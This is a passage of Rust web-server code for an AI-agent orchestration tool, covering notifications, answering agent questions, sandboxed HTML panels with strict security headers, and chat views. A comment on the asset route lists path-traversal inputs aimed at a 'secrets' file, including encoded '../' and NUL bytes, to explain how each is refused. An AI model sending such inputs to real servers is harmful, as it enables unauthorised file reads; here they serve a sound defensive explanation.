8121            for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
8122                let Some(task) = current.take() else {
8123                    break;
8124                };
8125                if !seen.insert(task.id.clone()) {
8126                    break;
8127                }
8128                let chat = task.chat_talk().map(str::to_owned);
8129                let followup = task.followup.clone();
8130                tasks.insert(task.id.clone(), task);
8131                if let Some(chat) = chat {
8132                    if plain_record_id(&chat)
8133                        && !talks.contains_key(&chat)
8134                        && let Ok(talk) = ui.talks.get(&chat)
8135                    {
8136                        talks.insert(chat, talk);
8137                    }
8138                    break;
8139                }
8140                let Some(followup) = followup else {
8141                    break;
8142                };
8143                current = match followup.origin_task {
8144                    Some(id) => direct_task(&id, &tasks),
8145                    None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
8146                };
8147            }
8148        }
8149    }
8150    let mut tasks: Vec<Task> = tasks.into_values().collect();
8151    tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
8152    Ok((tasks, talks.into_values().collect(), watches))
8153}
8154
8155/// `GET /api/notifications`: not dismissed, newest first, with the unread
8156/// count so the badge and the list cannot disagree.
8157async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8158    blocking(move || {
8159        let items = ui.notices.list();
8160        let unread = items.iter().filter(|n| n.unread()).count();
8161        let items: Vec<_> = items
8162            .into_iter()
8163            .map(|n| {
8164                let question = crate::notices::answerable_question(&n, &ui.questions);
8165                let mut item = serde_json::to_value(n)?;
8166                item["answerable_question"] = serde_json::json!(question);
8167                Ok(item)
8168            })
8169            .collect::<anyhow::Result<_>>()?;
8170        Ok(Json(
8171            serde_json::json!({ "unread": unread, "items": items }),
8172        ))
8173    })
8174    .await
8175}
8176
8177fn notice_error(e: anyhow::Error) -> ApiError {
8178    // An unknown or malformed id and a vanished file are the same answer to
8179    // the phone: that notification is gone.
8180    ApiError::not_found(format!("{e:#}"))
8181}
8182
8183/// `POST /api/notifications/{id}/read`.
8184async fn notification_read(
8185    State(ui): State<Arc<Ui>>,
8186    Path(id): Path<String>,
8187) -> ApiResult<Json<Notice>> {
8188    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
8189}
8190
8191/// `POST /api/notifications/{id}/dismiss`.
8192async fn notification_dismiss(
8193    State(ui): State<Arc<Ui>>,
8194    Path(id): Path<String>,
8195) -> ApiResult<Json<Notice>> {
8196    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
8197}
8198
8199/// `POST /api/notifications/read-all`.
8200async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8201    blocking(move || {
8202        let changed = ui.notices.mark_all_read()?;
8203        Ok(Json(serde_json::json!({ "marked": changed })))
8204    })
8205    .await
8206}
8207
8208/// The body of `POST /api/questions/{id}/answer`.
8209///
8210/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
8211/// a bad request rather than a guess: an answer magi invented is worse than a
8212/// question left open.
8213#[derive(Debug, Default, Deserialize)]
8214#[serde(default, deny_unknown_fields)]
8215struct NewAnswer {
8216    choice: Option<String>,
8217    text: Option<String>,
8218    talk: Option<String>,
8219    head: Option<String>,
8220}
8221
8222async fn question_answer(
8223    State(ui): State<Arc<Ui>>,
8224    Path(id): Path<String>,
8225    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
8226) -> ApiResult<Json<QuestionView>> {
8227    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8228    let answer = match (body.choice, body.text) {
8229        (Some(c), None) => Answer::Choice(c),
8230        (None, Some(t)) => Answer::Text(t),
8231        (Some(_), Some(_)) => {
8232            return Err(ApiError::bad_request(
8233                "send either `choice` or `text`, not both",
8234            ));
8235        }
8236        (None, None) => {
8237            return Err(ApiError::bad_request("send a `choice` or a `text`"));
8238        }
8239    };
8240
8241    blocking(move || {
8242        let id = resolve_question(&ui.questions, &id)?;
8243        let q = ui
8244            .questions
8245            .get(&id)
8246            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8247        if !q.status.open() {
8248            // Answered from the terminal, or by another phone, in between the
8249            // list and the tap. The UI shows the recorded answer rather than an
8250            // error, so it needs the record, not just the status.
8251            return Err(ApiError::conflict(format!(
8252                "question {} is already {}",
8253                q.short(),
8254                q.status.as_str()
8255            )));
8256        }
8257        // `Question::answer` owns the rules - an unoffered choice, free text on
8258        // a multiple-choice question, an empty reply - so the route does not
8259        // restate them and cannot drift from the CLI's behaviour.
8260        let cfg = deputy_config(&ui.repo);
8261        let (q, ()) = ui
8262            .questions
8263            .update(&q.id, |r| {
8264                let merge = matches!(&answer, ask::Answer::Choice(c) if c == crate::land::APPROVE);
8265                // Buttons retain their displayed chat/head binding. A direct
8266                // decision does not require a button or a prior persona offer.
8267                if r.routed_task.is_some()
8268                    && r.merge_target.is_some()
8269                    && merge
8270                    && (body.talk.is_some() || body.head.is_some())
8271                {
8272                    let talk_id = body
8273                        .talk
8274                        .as_deref()
8275                        .context("approval button requires its chat")?;
8276                    let head = body
8277                        .head
8278                        .as_deref()
8279                        .context("approval button requires the displayed head")?;
8280                    let talk = ui.talks.get(talk_id)?;
8281                    anyhow::ensure!(talk.status.open(), "approval chat is closed");
8282                    r.answer_chat_button(answer, talk_id, head)
8283                } else {
8284                    r.answer(answer)
8285                }
8286            })
8287            .map_err(ApiError::bad_request_from)?;
8288        let (tasks, talks, watches) =
8289            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8290        Ok(Json(
8291            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8292        ))
8293    })
8294    .await
8295}
8296
8297/// A dedicated status avoids the client's settled-question 409 handling.
8298fn question_text_error(e: anyhow::Error) -> ApiError {
8299    let reason = e
8300        .downcast_ref::<crate::question_delivery::TextUnavailable>()
8301        .map(|e| e.reason);
8302    let error = ApiError::bad_request_from(e);
8303    if let Some(reason) = reason {
8304        ApiError {
8305            text_reason: Some(reason),
8306            ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
8307        }
8308    } else {
8309        error
8310    }
8311}
8312
8313/// The body of `POST /api/questions/{id}/say`.
8314#[derive(Debug, Deserialize)]
8315#[serde(deny_unknown_fields)]
8316struct NewSay {
8317    body: String,
8318}
8319
8320/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
8321///
8322/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
8323/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
8324/// file, so there is no turn to serialize against and no
8325/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
8326/// is a *different* process - the run parked behind `magi ask` - and picks
8327/// the reply up on its own poll of the very same file, same as an answer
8328/// does.
8329async fn question_say(
8330    State(ui): State<Arc<Ui>>,
8331    Path(id): Path<String>,
8332    body: std::result::Result<Json<NewSay>, JsonRejection>,
8333) -> ApiResult<Json<QuestionView>> {
8334    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8335    blocking(move || {
8336        let id = resolve_question(&ui.questions, &id)?;
8337        let q = ui
8338            .questions
8339            .get(&id)
8340            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8341        if !q.status.open() {
8342            // Same granularity as `question_answer`: answered or abandoned in
8343            // between the list and the tap is not this route's error to
8344            // explain any differently.
8345            return Err(ApiError::conflict(format!(
8346                "question {} is already {}",
8347                q.short(),
8348                q.status.as_str()
8349            )));
8350        }
8351        // `Question::say` owns the one rule that matters here - an empty
8352        // message tells the agent nothing - so the route does not restate it.
8353        let cfg = deputy_config(&ui.repo);
8354        let (q, ()) = ui
8355            .questions
8356            .update(&q.id, |r| {
8357                if body.body.trim().is_empty() {
8358                    return r.say(body.body);
8359                }
8360                crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
8361                r.say(body.body)
8362            })
8363            .map_err(question_text_error)?;
8364        let (tasks, talks, watches) =
8365            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8366        Ok(Json(
8367            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8368        ))
8369    })
8370    .await
8371}
8372
8373/// A disconnected request or a replacing listener cannot interrupt the short
8374/// transaction between persistence and detached worker publication.
8375async fn admitted<T: Send + 'static>(
8376    admission: AdmissionGuard,
8377    work: impl Future<Output = ApiResult<T>> + Send + 'static,
8378) -> ApiResult<T> {
8379    tokio::spawn(async move {
8380        let result = work.await;
8381        drop(admission);
8382        result
8383    })
8384    .await
8385    .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
8386}
8387
8388/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
8389/// came from. The question stays open: the chat agent answers it with `magi
8390/// answer`, or puts the decision to the owner in the conversation.
8391///
8392/// Answers 202 and runs the turn in the background, like every route that
8393/// spends agent calls. The text is queued as a draft of the existing talk, and
8394/// the turn goes through the talk's own gate and session; no seat or waiter is
8395/// started here.
8396async fn question_consult(
8397    State(ui): State<Arc<Ui>>,
8398    Path(id): Path<String>,
8399) -> ApiResult<(StatusCode, Json<QuestionView>)> {
8400    let admission = ui.begin_admission()?;
8401    admitted(admission, async move {
8402        let (q, tasks, talks, watches, talk, cfg) = blocking({
8403            let ui = Arc::clone(&ui);
8404            move || {
8405                let id = resolve_question(&ui.questions, &id)?;
8406                let q = ui.questions.get(&id).map_err(|e| {
8407                    ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
8408                })?;
8409                if !q.status.open() {
8410                    return Err(ApiError::conflict(format!(
8411                        "question {} is already {}",
8412                        q.short(),
8413                        q.status.as_str()
8414                    )));
8415                }
8416                let (tasks, talks, watches) =
8417                    question_origin_inputs(&ui, std::slice::from_ref(&q))?;
8418                let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
8419                    return Err(ApiError::conflict(format!(
8420                        "question {} has no chat to ask",
8421                        q.short()
8422                    )));
8423                };
8424                // Read the config before `begin` saves anything: a failure here
8425                // must leave no consult record or draft behind, or a retry would
8426                // see `fresh == false` and never start the turn.
8427                let cfg = if q.consult.is_none() {
8428                    Some(Config::discover(&talk.repo, None)?.0)
8429                } else {
8430                    None
8431                };
8432                Ok((q, tasks, talks, watches, talk, cfg))
8433            }
8434        })
8435        .await?;
8436        let _publication = crate::consult::publication_guard(&ui.talks, &talk.id)
8437            .await
8438            .map_err(ApiError::from)?;
8439        let (view, reclaimed, submitted) = blocking({
8440            let ui = Arc::clone(&ui);
8441            move || {
8442                let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
8443                let claim = if fresh {
8444                    match ui.begin_queued_talk_turn(&talk.id)? {
8445                        Some(turn_guard) => {
8446                            let talk = ui.talks.get(&talk.id)?;
8447                            let cfg = match cfg {
8448                                Some(cfg) => cfg,
8449                                None => Config::discover(&talk.repo, None)?.0,
8450                            };
8451                            Some((talk, cfg, turn_guard))
8452                        }
8453                        None => None,
8454                    }
8455                } else {
8456                    None
8457                };
8458                let q = ui.questions.get(&q.id)?;
8459                let cfg = deputy_config(&ui.repo);
8460                let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
8461                    .with_origin(&tasks, &talks, &watches);
8462                Ok((view, claim, fresh.then_some(talk.id)))
8463            }
8464        })
8465        .await?;
8466        #[cfg(not(test))]
8467        {
8468            if let Some(id) = submitted {
8469                crate::consult::spawn_turn(&ui.talks, &id)
8470                    .await
8471                    .map_err(ApiError::from)?;
8472            }
8473            drop(reclaimed);
8474        }
8475        #[cfg(test)]
8476        let _ = submitted;
8477        #[cfg(test)]
8478        if let Some((talk, cfg, turn_guard)) = reclaimed {
8479            let talks = ui.talks.clone();
8480            let id = talk.id.clone();
8481            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8482        }
8483        Ok((StatusCode::ACCEPTED, Json(view)))
8484    })
8485    .await
8486}
8487
8488/// Expand an id or short id to exactly one question id.
8489fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
8490    if plain_record_id(id) && store.path_of(id).is_file() {
8491        return Ok(id.to_owned());
8492    }
8493    pick(
8494        store.list().into_iter().map(|q| q.id).collect(),
8495        id,
8496        "question",
8497    )
8498}
8499
8500/// `GET /api/questions/{id}/panel`.
8501///
8502/// The panel an agent wrote for this question, as `text/html` under
8503/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
8504/// A question without one is a 404 rather than an empty page: the client
8505/// preflights this route with `HEAD` and must be able to tell "no panel" from
8506/// "a panel that rendered blank", and a sandboxed frame is opaque to the
8507/// parent document so it cannot tell the difference by looking.
8508///
8509/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
8510/// sanitises or minifies it - a sanitiser is a list of things someone thought
8511/// of, and the sandbox plus the CSP is a list of things that are allowed, which
8512/// is the direction that stays safe when an agent writes markup nobody
8513/// predicted.
8514async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
8515    blocking(move || {
8516        let id = resolve_question(&ui.questions, &id)?;
8517        let Some(html) = ui.questions.panel_html(&id) else {
8518            return Err(ApiError::not_found(format!("question {id} has no panel")));
8519        };
8520        Ok(panel_response(
8521            "text/html; charset=utf-8",
8522            false,
8523            html.into_bytes(),
8524        ))
8525    })
8526    .await
8527}
8528
8529/// `GET /api/questions/{id}/asset/{name}`.
8530///
8531/// One file from the question's own panel directory, so a panel can show a
8532/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
8533/// having to allow anything off this machine.
8534///
8535/// This is the only route in the server where a client names a file, so it is
8536/// the only one with a traversal surface, and the name is checked by
8537/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
8538/// what is worth being explicit about, because the answer is not "all of it in
8539/// one place":
8540///
8541/// * `asset/../../secrets` never reaches this handler at all. axum matches on
8542///   the raw request path and `{name}` spans exactly one segment, so a real
8543///   slash makes the request too long for the route and the router answers 404.
8544/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
8545///   percent-decodes path parameters, so `name` arrives as `../secrets` and
8546///   `..\secrets` respectively, which look like plain filenames to the router.
8547///   The validator refuses them here - both for the literal `..` and because
8548///   `/` and `\` are not in the permitted character set - and answers 400.
8549/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
8550///   the platform's path API is not, and it is refused here for the same
8551///   reason: NUL is not a permitted character.
8552/// * [`Questions::panel_asset`] validates again on read, so the check is not
8553///   load-bearing in only one place. This route's own check exists so the
8554///   failure is a 400 that says which name was wrong, rather than a store error
8555///   the operator has to interpret.
8556async fn question_asset(
8557    State(ui): State<Arc<Ui>>,
8558    Path((id, name)): Path<(String, String)>,
8559) -> ApiResult<Response> {
8560    // Before any filesystem work and before any path is built: a name this
8561    // server will not serve should not become a `PathBuf` at all.
8562    if !crate::ask::valid_asset_name(&name) {
8563        return Err(ApiError::bad_request(format!(
8564            "`{name}` is not a usable asset name"
8565        )));
8566    }
8567    blocking(move || {
8568        let id = resolve_question(&ui.questions, &id)?;
8569        let asset = ui
8570            .questions
8571            .panel_asset(&id, &name)
8572            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
8573        let Some(bytes) = asset else {
8574            return Err(ApiError::not_found(format!(
8575                "question {id} has no asset `{name}`"
8576            )));
8577        };
8578        Ok(panel_response(
8579            asset_content_type(&name),
8580            is_svg(&name),
8581            bytes,
8582        ))
8583    })
8584    .await
8585}
8586
8587/// Content type for a panel asset, from a closed whitelist.
8588///
8589/// A whitelist with an `application/octet-stream` fallback rather than a
8590/// guess, because the one answer that must never come out of here is
8591/// `text/html`. An agent that writes `notes.html` into its panel directory and
8592/// links it would otherwise get its own markup rendered at the top level of the
8593/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
8594/// magi's origin - which is precisely the thing the panel design exists to
8595/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
8596///
8597/// `nosniff` accompanies this on every response, so a browser cannot decide it
8598/// knows better than the type we sent.
8599fn asset_content_type(name: &str) -> &'static str {
8600    match extension(name).as_deref() {
8601        Some("png") => "image/png",
8602        Some("jpg" | "jpeg") => "image/jpeg",
8603        Some("gif") => "image/gif",
8604        Some("webp") => "image/webp",
8605        Some("svg") => "image/svg+xml",
8606        Some("css") => "text/css; charset=utf-8",
8607        Some("txt") => "text/plain; charset=utf-8",
8608        _ => "application/octet-stream",
8609    }
8610}
8611
8612/// Is this an SVG, and therefore a file that must never be opened at the top
8613/// level?
8614fn is_svg(name: &str) -> bool {
8615    extension(name).as_deref() == Some("svg")
8616}
8617
8618/// Lowercased extension, or `None` for a name without one.
8619fn extension(name: &str) -> Option<String> {
8620    name.rsplit_once('.')
8621        .map(|(_, ext)| ext.to_ascii_lowercase())
8622}
8623
8624/// Every panel response, with the four headers that make it safe and, for an
8625/// SVG, a fifth.
8626///
8627/// One function rather than a header list per handler, because a panel route
8628/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
8629/// model gone, silently, on one of two routes. Adding a third panel route later
8630/// means calling this, and there is nowhere else to build a panel response.
8631///
8632/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
8633/// as an `<img src>` inside the panel that script cannot run - but the asset
8634/// URL is also a plain URL an operator can be talked into opening in a tab,
8635/// where it is a document on magi's own origin. `Content-Disposition:
8636/// attachment` makes the browser download it instead of rendering it, which
8637/// closes that door without taking away the ability to draw a diff. Raster
8638/// images have no such execution surface and are left inline, so tapping a
8639/// screenshot still shows it.
8640fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
8641    let mut res = (
8642        [
8643            (header::CONTENT_TYPE, content_type),
8644            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
8645            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8646            (header::REFERRER_POLICY, "no-referrer"),
8647        ],
8648        body,
8649    )
8650        .into_response();
8651    if download {
8652        res.headers_mut().insert(
8653            header::CONTENT_DISPOSITION,
8654            HeaderValue::from_static("attachment"),
8655        );
8656    }
8657    res
8658}
8659
8660/// A talk as the phone reads it.
8661///
8662/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
8663/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
8664/// parses markdown itself - and the process-local `thinking` hint.
8665#[derive(Debug, Serialize)]
8666struct ChatApproval {
8667    question: String,
8668    target: crate::merge_decision::Target,
8669}
8670
8671#[derive(Debug, Serialize)]
8672struct TalkView {
8673    #[serde(flatten)]
8674    talk: Talk,
8675    turn_bodies_md: Vec<Vec<md::Node>>,
8676    /// Display-only Markdown, indexed by turn then message (legacy turns have one).
8677    turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
8678    pending_messages_md: Vec<Option<Vec<md::Node>>>,
8679    merge_approvals: Vec<ChatApproval>,
8680    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
8681    /// this server process.
8682    ///
8683    /// This is deliberately not durable: another server process cannot see
8684    /// it, and a restarted server must not claim an old turn is live. It is a
8685    /// progress hint rather than proof a reply landed; the transcript remains
8686    /// the source of truth for that.
8687    thinking: bool,
8688    /// Context-window usage, derived per request - see
8689    /// [`talk::context_usage`]. Carried on every talk response (list, detail
8690    /// and each mutation) so the phone needs no extra call or polling.
8691    context: talk::ContextUsage,
8692    /// `[talk] operator_name`, when configured; the Chat labels the
8693    /// operator's turns with it.
8694    operator_name: Option<String>,
8695    /// The active persona's display name; `None` for the default voice.
8696    persona_name: Option<String>,
8697    /// URL of the avatar for the conversation's persona (the default voice
8698    /// included). Server-built; a configured `icon` never reaches the client.
8699    persona_avatar: String,
8700    /// Operator avatar; display only and independent of repository config.
8701    operator_avatar: String,
8702    magi_avatar: String,
8703}
8704
8705impl TalkView {
8706    /// Reads the talk's repository config itself; a config that cannot be
8707    /// read leaves the window unknown but never fails the conversation.
8708    fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
8709        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8710        Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
8711    }
8712
8713    /// As [`Self::new`], with the config already in hand (the list reads one
8714    /// per repository, not one per conversation).
8715    fn with_config(
8716        talk: Talk,
8717        thinking: bool,
8718        cfg: Option<&Config>,
8719        home: &FsPath,
8720        cache: &id_links::IndexCache,
8721    ) -> Self {
8722        let references = cache.for_talk(home, &talk);
8723        Self::with_references(talk, thinking, cfg, home, &references)
8724    }
8725
8726    fn with_references(
8727        mut talk: Talk,
8728        thinking: bool,
8729        cfg: Option<&Config>,
8730        home: &FsPath,
8731        references: &id_links::IdIndex,
8732    ) -> Self {
8733        // This owned value is the display DTO; never write it back to the talk store.
8734        let snapshot = talk.clone();
8735        for (index, turn) in talk.turns.iter_mut().enumerate() {
8736            let original = &snapshot.turns[index];
8737            if turn.messages.is_empty() {
8738                if let Some(display) = talk::notice_display(&snapshot, original, None) {
8739                    turn.messages.push(talk::Message {
8740                        sender: Some(talk::Sender::Magi),
8741                        body: original.body.clone(),
8742                        display: Some(display),
8743                        attachments: original.attachments.clone(),
8744                        reply: None,
8745                    });
8746                }
8747            } else {
8748                for (i, message) in turn.messages.iter_mut().enumerate() {
8749                    message.display =
8750                        talk::notice_display(&snapshot, original, original.messages.get(i));
8751                    if message.display.is_some() {
8752                        message.sender = Some(talk::Sender::Magi);
8753                    }
8754                }
8755            }
8756        }
8757        for message in &mut talk.pending_messages {
8758            if message.display.is_none()
8759                && (message.sender == Some(talk::Sender::Magi)
8760                    || snapshot
8761                        .completion_notices
8762                        .iter()
8763                        .any(|r| r.notice == message.body))
8764            {
8765                message.display = crate::prompt::legacy_notice_display(&message.body);
8766                if message.display.is_some() {
8767                    message.sender = Some(talk::Sender::Magi);
8768                }
8769            }
8770        }
8771        if talk.pending_messages.is_empty()
8772            && snapshot
8773                .completion_notices
8774                .iter()
8775                .any(|r| r.notice == talk.pending)
8776            && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
8777        {
8778            talk.pending_messages.push(talk::Message {
8779                sender: Some(talk::Sender::Magi),
8780                display: Some(display),
8781                body: talk.pending.clone(),
8782                attachments: talk.pending_attachments.clone(),
8783                reply: None,
8784            });
8785        }
8786        let excerpts: Vec<Vec<Option<String>>> = talk
8787            .turns
8788            .iter()
8789            .map(|turn| {
8790                turn.messages
8791                    .iter()
8792                    .map(|m| {
8793                        m.display
8794                            .as_ref()
8795                            .map(|d| d.facts.chars().take(240).collect())
8796                    })
8797                    .collect()
8798            })
8799            .collect();
8800        for turn in &mut talk.turns {
8801            let provenance = talk::sender(turn, None);
8802            turn.sender = Some(provenance);
8803            for message in &mut turn.messages {
8804                message.sender = Some(message.sender.unwrap_or(provenance));
8805            }
8806        }
8807        // Old reply snapshots have only a role; recover provenance from their target.
8808        let senders: Vec<Vec<talk::Sender>> = talk
8809            .turns
8810            .iter()
8811            .map(|turn| {
8812                if turn.messages.is_empty() {
8813                    vec![talk::sender(turn, None)]
8814                } else {
8815                    turn.messages
8816                        .iter()
8817                        .map(|m| talk::sender(turn, Some(m)))
8818                        .collect()
8819                }
8820            })
8821            .collect();
8822        for reply in talk
8823            .turns
8824            .iter_mut()
8825            .flat_map(|t| t.messages.iter_mut())
8826            .chain(talk.pending_messages.iter_mut())
8827            .filter_map(|m| m.reply.as_mut())
8828        {
8829            if let Some(Some(excerpt)) = excerpts
8830                .get(reply.target.turn)
8831                .and_then(|ms| ms.get(reply.target.message))
8832            {
8833                reply.excerpt = excerpt.clone();
8834                reply.sender = Some(talk::Sender::Magi);
8835            }
8836            if reply.sender.is_none() {
8837                reply.sender = senders
8838                    .get(reply.target.turn)
8839                    .and_then(|messages| messages.get(reply.target.message))
8840                    .copied();
8841            }
8842        }
8843        let context = talk::context_usage(&talk, cfg);
8844        let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
8845            .turns
8846            .iter()
8847            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
8848            .collect();
8849        let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
8850            .turns
8851            .iter()
8852            .map(|turn| {
8853                if turn.messages.is_empty() {
8854                    vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
8855                } else {
8856                    turn.messages
8857                        .iter()
8858                        .map(|message| {
8859                            notice_markdown(
8860                                message.sender.unwrap_or(talk::Sender::Operator),
8861                                &message.body,
8862                                message.display.as_ref(),
8863                            )
8864                        })
8865                        .collect()
8866                }
8867            })
8868            .collect();
8869        let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
8870            .pending_messages
8871            .iter()
8872            .map(|message| {
8873                notice_markdown(
8874                    message.sender.unwrap_or(talk::Sender::Operator),
8875                    &message.body,
8876                    message.display.as_ref(),
8877                )
8878            })
8879            .collect();
8880        for nodes in &mut turn_bodies_md {
8881            references.markdown(nodes);
8882        }
8883        for nodes in turn_messages_md
8884            .iter_mut()
8885            .flatten()
8886            .chain(pending_messages_md.iter_mut())
8887            .flatten()
8888        {
8889            references.markdown(nodes);
8890        }
8891        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
8892        let persona_name = persona::find(specs, &talk.persona)
8893            .filter(|p| !p.is_default())
8894            .map(|p| p.name);
8895        let mut avatar_persona = persona::find(specs, &talk.persona)
8896            .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
8897        // A removed configured persona may still have an override and old talks.
8898        if avatar_persona.id != talk.persona
8899            && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
8900        {
8901            avatar_persona.id.clone_from(&talk.persona);
8902            avatar_persona.icon = None;
8903        }
8904        let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
8905        let approvals_store = ask::Questions::at(home.join("questions"));
8906        let merge_approvals = talk
8907            .notified
8908            .iter()
8909            .filter_map(|key| key.strip_prefix("question:"))
8910            .filter_map(|id| approvals_store.get(id).ok())
8911            .filter(|q| crate::task_chat::approval_offered(&talk, q))
8912            .filter_map(|q| {
8913                Some(ChatApproval {
8914                    question: q.id,
8915                    target: q.merge_target?,
8916                })
8917            })
8918            .collect();
8919        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
8920        Self {
8921            turn_bodies_md,
8922            turn_messages_md,
8923            pending_messages_md,
8924            merge_approvals,
8925            thinking,
8926            context,
8927            operator_name,
8928            persona_name,
8929            persona_avatar,
8930            magi_avatar: magi_icon_url(home),
8931            operator_avatar: operator_icon_url(home),
8932            talk,
8933        }
8934    }
8935}
8936
8937/// Parse only the user-facing representation of an explicitly identified MAGI send.
8938fn notice_markdown(
8939    sender: talk::Sender,
8940    body: &str,
8941    display: Option<&crate::prompt::NoticeDisplay>,
8942) -> Option<Vec<md::Node>> {
8943    if sender != talk::Sender::Magi {
8944        return None;
8945    }
8946    let text = if let Some(display) = display {
8947        display.facts.as_str()
8948    } else {
8949        // Unknown completion templates may contain internal directives. Never
8950        // promote their agent input to the Markdown display surface.
8951        if crate::prompt::is_completion_notice(body)
8952            || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
8953        {
8954            return None;
8955        }
8956        body.strip_prefix("magi: ").unwrap_or(body)
8957    };
8958    Some(md::to_nodes(text, &md::ImageBase::None))
8959}
8960
8961/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
8962/// conversation has filed, so the phone can follow one from inside the
8963/// conversation that asked for it rather than hunting the Queue for a task id
8964/// it may not remember.
8965#[derive(Debug, Serialize)]
8966struct TalkDetailView {
8967    #[serde(flatten)]
8968    view: TalkView,
8969    tasks: Vec<TaskView>,
8970    task_progress: TalkTaskProgress,
8971    /// The agents this talk's repository can switch to; empty when its
8972    /// configuration cannot be read, which must not fail the whole detail.
8973    roster: Vec<RosterEntry>,
8974    /// The personas the conversation can pick from. The built-ins are always
8975    /// listed, even when the repository's configuration cannot be read.
8976    personas: Vec<PersonaEntry>,
8977}
8978
8979/// Progress covers only the tasks returned alongside it, not unresolved chat topics.
8980#[derive(Debug, Serialize)]
8981struct TalkTaskProgress {
8982    state: &'static str,
8983    total: usize,
8984    done: usize,
8985    counts: std::collections::BTreeMap<&'static str, usize>,
8986    unfinished_ids: Vec<String>,
8987}
8988
8989fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
8990    let mut counts = std::collections::BTreeMap::from([
8991        ("queued", 0),
8992        ("running", 0),
8993        ("done", 0),
8994        ("failed", 0),
8995        ("held", 0),
8996        ("blocked", 0),
8997        ("parked", 0),
8998    ]);
8999    let mut unfinished_ids = Vec::new();
9000    for task in tasks {
9001        *counts.entry(task.status.as_str()).or_default() += 1;
9002        if task.status != TaskStatus::Done {
9003            unfinished_ids.push(task.id.clone());
9004        }
9005    }
9006    TalkTaskProgress {
9007        state: if tasks.is_empty() {
9008            "none"
9009        } else if unfinished_ids.is_empty() {
9010            "complete"
9011        } else {
9012            "incomplete"
9013        },
9014        total: tasks.len(),
9015        done: tasks.len() - unfinished_ids.len(),
9016        counts,
9017        unfinished_ids,
9018    }
9019}
9020
9021/// One persona as the talk's persona selector shows it.
9022#[derive(Debug, Serialize)]
9023struct PersonaEntry {
9024    id: String,
9025    name: String,
9026    /// Avatar URL, see [`TalkView::persona_avatar`].
9027    avatar: String,
9028}
9029
9030/// One roster agent as the talk's agent selector shows it.
9031#[derive(Debug, Serialize)]
9032struct RosterEntry {
9033    id: String,
9034    kind: AgentKind,
9035    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
9036    runnable: bool,
9037}
9038
9039/// Bounded summaries; `/page` carries a cursor for older membership.
9040async fn talks_list(
